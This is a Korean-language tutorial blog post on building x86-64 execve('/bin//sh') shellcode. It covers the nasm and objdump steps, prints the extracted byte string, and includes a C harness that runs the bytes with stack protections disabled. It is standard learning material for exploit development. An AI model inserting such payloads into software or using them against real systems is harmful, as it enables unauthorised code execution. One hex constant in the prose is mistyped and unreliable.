SYSTEM HACKING

execve 시스템 콜과 쉘 코드 작성 및 추출

msh1307 2022. 5. 24. 14:33

execve를 사용해서 쉘 코드를 만들어보겠다.

execve 시스템콜이다. 

rax, rdi, rsi, rdx순서다. 

 

기본적으로 execve를 쓸 때 커널은 filename을 통해서 파일을 열어준다. 

filename이 /bin/ls의 경우에는 뒤에 argv가 없으면 중단되어서 실행되지 않는다. 

하지만 /bin/sh는 argv와 envp에 NULL을 넣어줘도 잘 동작한다. 

 

그 이유에 대해서 찾아봤는데, 아래 글을 발견할 수 있었다.

https://stackoverflow.com/questions/36673765/why-can-the-execve-system-call-run-bin-sh-without-any-argv-arguments-but-not

 

Why can the execve system call run "/bin/sh" without any argv arguments, but not "/bin/ls"?

I am confused with the syscall of __NR_execve. When I learn linux system call. The correct way that I know to use execve is like this: char *sc[2]; sc[0]="/bin/sh"; sc[1]= NULL; execve(sc[0],sc...

stackoverflow.com

대충 요약하자면 기본적으로 커널은 argv나 envp가 NULL이던 아니던 filename으로 실행을 시킨다. 

argv[0]가 자기 자신인 이유는 그냥 UNIX 시스템의 일종의 약속이라고 한다. 

ls는 GNU's coreutils에 속해 있어서 코드상으로 argv를 체크한다고 한다. 

반면 /bin/sh는 GNU's coreutils에 속해 있지 않고, 코드상으로 argv[0]에 대한 검증도 하지 않아서 잘 동작할 수 있다고 한다.

 

어셈블리어로 execve 시스템 콜을 이용해서 /bin/sh를 실행시키는 코드를 짜보았다.

최대한 NULL문자를 없애기 위해서 레지스터 크기를 조금 줄여줬다.

shellcode.asm을 열어서 적었다.

0x68732f2f26e69622f는 /bin//sh를 빅 엔디언에서 리틀 엔디언으로 변환한 값이다.

 

쉘 코드를 삽입할 때 대부분의 문자열 함수들이 널 바이트를 문자열의 끝으로 인식하는 경우가 많아서 널바이트를 제거해주는 편이 좋다.

그래서 /bin//sh로 8바이트를 꽉 채웠고, rax대신 al을 사용해서 1바이트만 넣어줬다. 

0x3b는 59이다.

또한 레지스터에 직접 0을 넣어주는 대신, xor을 사용해서 0을 넣어줬다. 

 

rax에 60 넣고 불러주는 시스템 콜은 프로세스 종료에 사용된다. 

굳이 신경 써줄 필요는 없다.

 

이제 nasm으로 어셈블리어 컴파일을 해보겠다.

nasm이 없으면 sudo apt install nasm으로 깔아서 해주면 된다.

nasm -f elf64 -o shellcode.o shellcode.asm을 통해서 오브젝트 코드를 만든다.

ld -o shellcode shellcode.o로 링크를 해준다.

정상적으로 잘 동작한다. 

 

이제 objdump로 기계어 코드를 확인해야 한다. 

 

AT&T문법으로 표시되는데 -M intel 옵션을 주면 인텔 문법으로도 확인할 수 있다. 

 

기계어 코드 부분만 긁어와서 앞에 \x를 붙여주면 쉘 코드를 만들 수 있다.

뒤에 40101f부터는 exit 시스템 콜 부분이라서 무시하면 된다. 

 

\x48\x31\xc0\x50\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x31\xc0\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb0\x3b\x0f\x05를 얻을 수 있다. 

 

이 쉘 코드를 문자열 형태로 전달할 것이다. 

C에서는 char형 변수에 바이너리 값을 전달해줄 수 있다. 

예를 들어 \x48\x31\xc0을 전달해주면, C는 문자열 그대로 받는 게 아니라 16진수 값으로 인식해서 xor rax, rax라는 명령이 들어가게 된다. 

 

테스트를 해보겠다.

C.c에 코드를 적었다.

1
2
3
4
5
6
7
#include<unistd.h>
#include<stdio.h>
int main(){
    char shell[]="\x48\x31\xc0\x50\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x31\xc0\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb0\x3b\x0f\x05";
    (*(void (*)())shell)();
     return 0;
}
cs

5번째 줄은 함수 포인터에 대해서 공부해보면 이해하기 더 수월하다.

반환 값이 없는 함수 포인터로 형 변환해서 호출하는 코드이다.

 

컴파일할 때 기본적으로 스택을 보호하기 위해 설정된 옵션들을 꺼주고 컴파일을 해준다. 

gcc -o shell C.c -fno-stack-protector -z execstack

정상적으로 쉘 코드가 동작하는 것을 확인할 수 있다.